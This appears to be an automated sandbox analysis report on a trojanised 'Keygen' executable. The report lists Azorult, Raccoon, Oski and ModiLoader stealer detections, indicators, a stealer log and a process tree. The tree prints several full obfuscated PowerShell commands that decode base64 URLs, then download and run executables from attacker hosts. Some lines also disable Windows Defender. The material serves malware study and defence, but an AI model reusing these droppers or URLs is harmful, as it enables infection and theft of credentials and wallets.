azorult | 201001-nyhbt4p25j_pw_infected[.]rar

Resubmissions

02-10-2020 21:14

201002-pjxdl9y6a6 10

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:49

Analysis

max time kernel
51s
max time network
154s
platform
windows10_x64
resource
win10
submitted
01-10-2020 20:51

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General

Target

201001-nyhbt4p25j_pw_infected/Keygen — копия (3).exe

Score

10^/10

azorult modiloader oski raccoon discovery evasion infostealer ransomware spyware stealer trojan

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJD

exe.dropper

http://bit.do/fqhJD

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://rbcxvnb.ug/zxcvb.exe

exe.dropper

http://rbcxvnb.ug/zxcvb.exe

Extracted

Path

C:\Users\Admin\AppData\LocalLow\machineinfo.txt

Family

raccoon

Ransom Note

[Raccoon Stealer] - v1.5.13-af-hotfix Release Build compiled on Mon Jul 6 14:33:02 2020 Launched at: 2020.10.02 - 02:34:44 GMT Bot_ID: 664A9041-4AC4-46F3-B3DC-87DB4D57890E_Admin Running on a desktop =R=A=C=C=O=O=N= - Cookies: 0 - Passwords: 5 - Files: 0 System Information: - System Language: English - System TimeZone: -0 hrs - IP: 154.61.71.51 - Location: 37.750999, -97.821999 | ?, ?, United States (?) - ComputerName: GOHCSFBB - Username: Admin - Windows version: NT 10.0 - Product name: Windows 10 Pro - System arch: x64 - CPU: Persocon Processor 2.5+ (2 cores) - RAM: 4095 MB (789 MB used) - Screen resolution: 1280x720 - Display devices: 0) Microsoft Basic Display Adapter ============

Signatures

Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
trojan infostealer azorult

Contains code to disable Windows Defender 4 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

Processes:

resource	yara_rule
behavioral152/memory/2568-312-0x000000000B990000-0x000000000B995000-memory.dmp	disable_win_def
behavioral152/memory/4336-324-0x0000000004C40000-0x0000000004C43000-memory.dmp	disable_win_def
C:\Windows\Temp\rfb4o2bw.exe	disable_win_def
C:\Windows\temp\rfb4o2bw.exe	disable_win_def

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader
Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089
Oski
Oski is an infostealer targeting browser data, crypto wallets.
infostealer oski
Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
Raccoon log file 1 IoCs
Detects a log file produced by the Raccoon Stealer.

Processes:

yara_rule

raccoon_log_file

yara_rule
raccoon_log_file

ModiLoader First Stage 1 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\CCsJqPFTF9.exe	modiloader_stage1

Blocklisted process makes network request 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

flow pid process

9 2696 powershell.exe
12 2696 powershell.exe
13 2196 powershell.exe
15 2196 powershell.exe
22 4496 powershell.exe
25 4496 powershell.exe
Downloads MZ/PE file

flow	pid	process
9	2696	powershell.exe
12	2696	powershell.exe
13	2196	powershell.exe
15	2196	powershell.exe
22	4496	powershell.exe
25	4496	powershell.exe

Executes dropped EXE 28 IoCs

Processes:

Keygen.exehmj.exevef.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exehmj.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exewmx.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exewmx.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exevef.exehgfnmbasdo.exehgfnmbasdo.exeaxcsdfa.exeaxcsdfa.exeaxcsdfa.exeaxcsdfa.exeaxcsdfa.exeaxcsdfa.exemqVlhDUA3a.exeCCsJqPFTF9.exes500WscHOO.exejLKjSpgC8s.exerfb4o2bw.exe

pid	process
2164	Keygen.exe
5016	hmj.exe
5072	vef.exe
4284	FVjhgtresfdbv.exe
4260	NHtrdsaghfDF.exe
392	hmj.exe
4412	FVjhgtresfdbv.exe
4488	NHtrdsaghfDF.exe
4944	wmx.exe
4988	FVjhgtresfdbv.exe
3404	NHtrdsaghfDF.exe
4456	wmx.exe
3900	FVjhgtresfdbv.exe
3784	NHtrdsaghfDF.exe
5044	vef.exe
4656	hgfnmbasdo.exe
2992	hgfnmbasdo.exe
4524	axcsdfa.exe
4884	axcsdfa.exe
4616	axcsdfa.exe
2624	axcsdfa.exe
2588	axcsdfa.exe
4252	axcsdfa.exe
4288	mqVlhDUA3a.exe
2480	CCsJqPFTF9.exe
2568	s500WscHOO.exe
4336	jLKjSpgC8s.exe
4668	rfb4o2bw.exe

Loads dropped DLL 17 IoCs

Processes:

FVjhgtresfdbv.exeFVjhgtresfdbv.exehmj.exehgfnmbasdo.exe

pid	process
4412	FVjhgtresfdbv.exe
4412	FVjhgtresfdbv.exe
4412	FVjhgtresfdbv.exe
3900	FVjhgtresfdbv.exe
3900	FVjhgtresfdbv.exe
3900	FVjhgtresfdbv.exe
392	hmj.exe
2992	hgfnmbasdo.exe
2992	hgfnmbasdo.exe
2992	hgfnmbasdo.exe
392	hmj.exe
392	hmj.exe
392	hmj.exe
392	hmj.exe
392	hmj.exe
392	hmj.exe
392	hmj.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Windows security modification 2 TTPs 2 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

jLKjSpgC8s.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features	jLKjSpgC8s.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	jLKjSpgC8s.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Drops desktop.ini file(s) 1 IoCs

Processes:

hmj.exe

description ioc process

File created C:\Users\Admin\AppData\LocalLow\cr6im03b56g32r\desktop.ini hmj.exe

description	ioc	process
File created	C:\Users\Admin\AppData\LocalLow\cr6im03b56g32r\desktop.ini	hmj.exe

Suspicious use of SetThreadContext 9 IoCs

Processes:

hmj.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exewmx.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exevef.exehgfnmbasdo.exeaxcsdfa.exe

description	pid	process	target process
PID 5016 set thread context of 392	5016	hmj.exe	hmj.exe
PID 4284 set thread context of 4412	4284	FVjhgtresfdbv.exe	FVjhgtresfdbv.exe
PID 4260 set thread context of 4488	4260	NHtrdsaghfDF.exe	NHtrdsaghfDF.exe
PID 4944 set thread context of 4456	4944	wmx.exe	wmx.exe
PID 4988 set thread context of 3900	4988	FVjhgtresfdbv.exe	FVjhgtresfdbv.exe
PID 3404 set thread context of 3784	3404	NHtrdsaghfDF.exe	NHtrdsaghfDF.exe
PID 5072 set thread context of 5044	5072	vef.exe	vef.exe
PID 4656 set thread context of 2992	4656	hgfnmbasdo.exe	hgfnmbasdo.exe
PID 4524 set thread context of 4252	4524	axcsdfa.exe	axcsdfa.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

hgfnmbasdo.exeFVjhgtresfdbv.exeFVjhgtresfdbv.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	hgfnmbasdo.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	FVjhgtresfdbv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	FVjhgtresfdbv.exe

Delays execution with timeout.exe 3 IoCs
evasion

Processes:

timeout.exetimeout.exetimeout.exe

pid process

3800 timeout.exe
3424 timeout.exe
4308 timeout.exe
Kills process with taskkill 4 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid process

4796 taskkill.exe
4868 taskkill.exe
3868 taskkill.exe
1476 taskkill.exe

pid	process
3800	timeout.exe
3424	timeout.exe
4308	timeout.exe

pid	process
4796	taskkill.exe
4868	taskkill.exe
3868	taskkill.exe
1476	taskkill.exe

Modifies registry class 3 IoCs

Processes:

cmd.exevef.exehgfnmbasdo.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings	vef.exe
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings	hgfnmbasdo.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exeaxcsdfa.exes500WscHOO.exe

pid	process
2196	powershell.exe
2696	powershell.exe
1780	powershell.exe
2320	powershell.exe
2320	powershell.exe
1780	powershell.exe
2196	powershell.exe
2696	powershell.exe
1780	powershell.exe
1780	powershell.exe
2696	powershell.exe
2696	powershell.exe
2320	powershell.exe
2320	powershell.exe
2196	powershell.exe
2196	powershell.exe
4496	powershell.exe
4496	powershell.exe
4684	powershell.exe
4684	powershell.exe
4496	powershell.exe
4684	powershell.exe
4496	powershell.exe
4684	powershell.exe
4524	axcsdfa.exe
4524	axcsdfa.exe
4524	axcsdfa.exe
4524	axcsdfa.exe
4524	axcsdfa.exe
4524	axcsdfa.exe
4524	axcsdfa.exe
4524	axcsdfa.exe
2568	s500WscHOO.exe
2568	s500WscHOO.exe
2568	s500WscHOO.exe
2568	s500WscHOO.exe
2568	s500WscHOO.exe
2568	s500WscHOO.exe
2568	s500WscHOO.exe
2568	s500WscHOO.exe
2568	s500WscHOO.exe
2568	s500WscHOO.exe
2568	s500WscHOO.exe
2568	s500WscHOO.exe
2568	s500WscHOO.exe
2568	s500WscHOO.exe
2568	s500WscHOO.exe
2568	s500WscHOO.exe
2568	s500WscHOO.exe
2568	s500WscHOO.exe
2568	s500WscHOO.exe
2568	s500WscHOO.exe
2568	s500WscHOO.exe
2568	s500WscHOO.exe
2568	s500WscHOO.exe
2568	s500WscHOO.exe
2568	s500WscHOO.exe
2568	s500WscHOO.exe
2568	s500WscHOO.exe
2568	s500WscHOO.exe
2568	s500WscHOO.exe
2568	s500WscHOO.exe
2568	s500WscHOO.exe
2568	s500WscHOO.exe

Suspicious behavior: MapViewOfSection 6 IoCs

Processes:

hmj.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exewmx.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

pid process

5016 hmj.exe
4284 FVjhgtresfdbv.exe
4260 NHtrdsaghfDF.exe
4944 wmx.exe
4988 FVjhgtresfdbv.exe
3404 NHtrdsaghfDF.exe

pid	process
5016	hmj.exe
4284	FVjhgtresfdbv.exe
4260	NHtrdsaghfDF.exe
4944	wmx.exe
4988	FVjhgtresfdbv.exe
3404	NHtrdsaghfDF.exe

Suspicious use of AdjustPrivilegeToken 17 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exevef.exetaskkill.exetaskkill.exehgfnmbasdo.exetaskkill.exeaxcsdfa.exes500WscHOO.exejLKjSpgC8s.exepowershell.exetaskkill.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	2196	powershell.exe
Token: SeDebugPrivilege	2320	powershell.exe
Token: SeDebugPrivilege	2696	powershell.exe
Token: SeDebugPrivilege	1780	powershell.exe
Token: SeDebugPrivilege	4496	powershell.exe
Token: SeDebugPrivilege	4684	powershell.exe
Token: SeDebugPrivilege	5072	vef.exe
Token: SeDebugPrivilege	4796	taskkill.exe
Token: SeDebugPrivilege	4868	taskkill.exe
Token: SeDebugPrivilege	4656	hgfnmbasdo.exe
Token: SeDebugPrivilege	3868	taskkill.exe
Token: SeDebugPrivilege	4524	axcsdfa.exe
Token: SeDebugPrivilege	2568	s500WscHOO.exe
Token: SeDebugPrivilege	4336	jLKjSpgC8s.exe
Token: SeDebugPrivilege	3704	powershell.exe
Token: SeDebugPrivilege	1476	taskkill.exe
Token: SeDebugPrivilege	2468	powershell.exe

Suspicious use of SetWindowsHookEx 9 IoCs

Processes:

Keygen.exehmj.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exewmx.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exes500WscHOO.exe

pid	process
2164	Keygen.exe
5016	hmj.exe
4284	FVjhgtresfdbv.exe
4260	NHtrdsaghfDF.exe
4944	wmx.exe
4988	FVjhgtresfdbv.exe
3404	NHtrdsaghfDF.exe
2568	s500WscHOO.exe
2568	s500WscHOO.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Keygen — копия (3).execmd.exemshta.exemshta.exemshta.exemshta.exemshta.exemshta.exepowershell.exepowershell.exehmj.exe

description	pid	process	target process
PID 3844 wrote to memory of 1576	3844	Keygen — копия (3).exe	cmd.exe
PID 3844 wrote to memory of 1576	3844	Keygen — копия (3).exe	cmd.exe
PID 3844 wrote to memory of 1576	3844	Keygen — копия (3).exe	cmd.exe
PID 1576 wrote to memory of 2164	1576	cmd.exe	Keygen.exe
PID 1576 wrote to memory of 2164	1576	cmd.exe	Keygen.exe
PID 1576 wrote to memory of 2164	1576	cmd.exe	Keygen.exe
PID 1576 wrote to memory of 2780	1576	cmd.exe	mshta.exe
PID 1576 wrote to memory of 2780	1576	cmd.exe	mshta.exe
PID 1576 wrote to memory of 2780	1576	cmd.exe	mshta.exe
PID 1576 wrote to memory of 3728	1576	cmd.exe	mshta.exe
PID 1576 wrote to memory of 3728	1576	cmd.exe	mshta.exe
PID 1576 wrote to memory of 3728	1576	cmd.exe	mshta.exe
PID 1576 wrote to memory of 3800	1576	cmd.exe	timeout.exe
PID 1576 wrote to memory of 3800	1576	cmd.exe	timeout.exe
PID 1576 wrote to memory of 3800	1576	cmd.exe	timeout.exe
PID 3728 wrote to memory of 2320	3728	mshta.exe	powershell.exe
PID 3728 wrote to memory of 2320	3728	mshta.exe	powershell.exe
PID 3728 wrote to memory of 2320	3728	mshta.exe	powershell.exe
PID 2780 wrote to memory of 2696	2780	mshta.exe	powershell.exe
PID 2780 wrote to memory of 2696	2780	mshta.exe	powershell.exe
PID 2780 wrote to memory of 2696	2780	mshta.exe	powershell.exe
PID 1576 wrote to memory of 1568	1576	cmd.exe	mshta.exe
PID 1576 wrote to memory of 1568	1576	cmd.exe	mshta.exe
PID 1576 wrote to memory of 1568	1576	cmd.exe	mshta.exe
PID 1576 wrote to memory of 3608	1576	cmd.exe	mshta.exe
PID 1576 wrote to memory of 3608	1576	cmd.exe	mshta.exe
PID 1576 wrote to memory of 3608	1576	cmd.exe	mshta.exe
PID 1568 wrote to memory of 2196	1568	mshta.exe	powershell.exe
PID 1568 wrote to memory of 2196	1568	mshta.exe	powershell.exe
PID 1568 wrote to memory of 2196	1568	mshta.exe	powershell.exe
PID 3608 wrote to memory of 1780	3608	mshta.exe	powershell.exe
PID 3608 wrote to memory of 1780	3608	mshta.exe	powershell.exe
PID 3608 wrote to memory of 1780	3608	mshta.exe	powershell.exe
PID 1576 wrote to memory of 3424	1576	cmd.exe	timeout.exe
PID 1576 wrote to memory of 3424	1576	cmd.exe	timeout.exe
PID 1576 wrote to memory of 3424	1576	cmd.exe	timeout.exe
PID 1576 wrote to memory of 4416	1576	cmd.exe	mshta.exe
PID 1576 wrote to memory of 4416	1576	cmd.exe	mshta.exe
PID 1576 wrote to memory of 4416	1576	cmd.exe	mshta.exe
PID 4416 wrote to memory of 4496	4416	mshta.exe	powershell.exe
PID 4416 wrote to memory of 4496	4416	mshta.exe	powershell.exe
PID 4416 wrote to memory of 4496	4416	mshta.exe	powershell.exe
PID 1576 wrote to memory of 4576	1576	cmd.exe	mshta.exe
PID 1576 wrote to memory of 4576	1576	cmd.exe	mshta.exe
PID 1576 wrote to memory of 4576	1576	cmd.exe	mshta.exe
PID 4576 wrote to memory of 4684	4576	mshta.exe	powershell.exe
PID 4576 wrote to memory of 4684	4576	mshta.exe	powershell.exe
PID 4576 wrote to memory of 4684	4576	mshta.exe	powershell.exe
PID 2696 wrote to memory of 5016	2696	powershell.exe	hmj.exe
PID 2696 wrote to memory of 5016	2696	powershell.exe	hmj.exe
PID 2696 wrote to memory of 5016	2696	powershell.exe	hmj.exe
PID 2196 wrote to memory of 5072	2196	powershell.exe	vef.exe
PID 2196 wrote to memory of 5072	2196	powershell.exe	vef.exe
PID 2196 wrote to memory of 5072	2196	powershell.exe	vef.exe
PID 5016 wrote to memory of 4284	5016	hmj.exe	FVjhgtresfdbv.exe
PID 5016 wrote to memory of 4284	5016	hmj.exe	FVjhgtresfdbv.exe
PID 5016 wrote to memory of 4284	5016	hmj.exe	FVjhgtresfdbv.exe
PID 5016 wrote to memory of 4260	5016	hmj.exe	NHtrdsaghfDF.exe
PID 5016 wrote to memory of 4260	5016	hmj.exe	NHtrdsaghfDF.exe
PID 5016 wrote to memory of 4260	5016	hmj.exe	NHtrdsaghfDF.exe
PID 5016 wrote to memory of 392	5016	hmj.exe	hmj.exe
PID 5016 wrote to memory of 392	5016	hmj.exe	hmj.exe
PID 5016 wrote to memory of 392	5016	hmj.exe	hmj.exe
PID 5016 wrote to memory of 392	5016	hmj.exe	hmj.exe

C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (3).exe
"C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (3).exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3844

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\29F4.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (3).exe""
2⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1576

C:\Users\Admin\AppData\Local\Temp\29F4.tmp\Keygen.exe
Keygen.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:2164

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\29F4.tmp\m.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2780

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2696

C:\Users\Public\hmj.exe
"C:\Users\Public\hmj.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5016

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4284

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:4412

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /pid 4412 & erase C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe & RD /S /Q C:\\ProgramData\\456671354102370\\* & exit
8⤵
PID:2280

C:\Windows\SysWOW64\taskkill.exe
taskkill /pid 4412
9⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4796

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4260

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
7⤵
- Executes dropped EXE
PID:4488

C:\Users\Public\hmj.exe
"C:\Users\Public\hmj.exe"
6⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops desktop.ini file(s)
PID:392

C:\Users\Admin\AppData\Local\Temp\mqVlhDUA3a.exe
"C:\Users\Admin\AppData\Local\Temp\mqVlhDUA3a.exe"
7⤵
- Executes dropped EXE
PID:4288

C:\Users\Admin\AppData\Local\Temp\CCsJqPFTF9.exe
"C:\Users\Admin\AppData\Local\Temp\CCsJqPFTF9.exe"
7⤵
- Executes dropped EXE
PID:2480

C:\Users\Admin\AppData\Local\Temp\s500WscHOO.exe
"C:\Users\Admin\AppData\Local\Temp\s500WscHOO.exe"
7⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2568

\??\c:\windows\SysWOW64\cmstp.exe
"c:\windows\system32\cmstp.exe" /au C:\Windows\temp\xxw2laux.inf
8⤵
PID:5092

C:\Users\Admin\AppData\Local\Temp\jLKjSpgC8s.exe
"C:\Users\Admin\AppData\Local\Temp\jLKjSpgC8s.exe"
7⤵
- Executes dropped EXE
- Windows security modification
- Suspicious use of AdjustPrivilegeToken
PID:4336

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell" Get-MpPreference -verbose
8⤵
- Suspicious use of AdjustPrivilegeToken
PID:3704

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Public\hmj.exe"
7⤵
PID:4700

C:\Windows\SysWOW64\timeout.exe
timeout /T 10 /NOBREAK
8⤵
- Delays execution with timeout.exe
PID:4308

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\29F4.tmp\m1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:3728

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2320

C:\Windows\SysWOW64\timeout.exe
timeout 1
3⤵
- Delays execution with timeout.exe
PID:3800

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\29F4.tmp\b.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:1568

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2196

C:\Users\Public\vef.exe
"C:\Users\Public\vef.exe"
5⤵
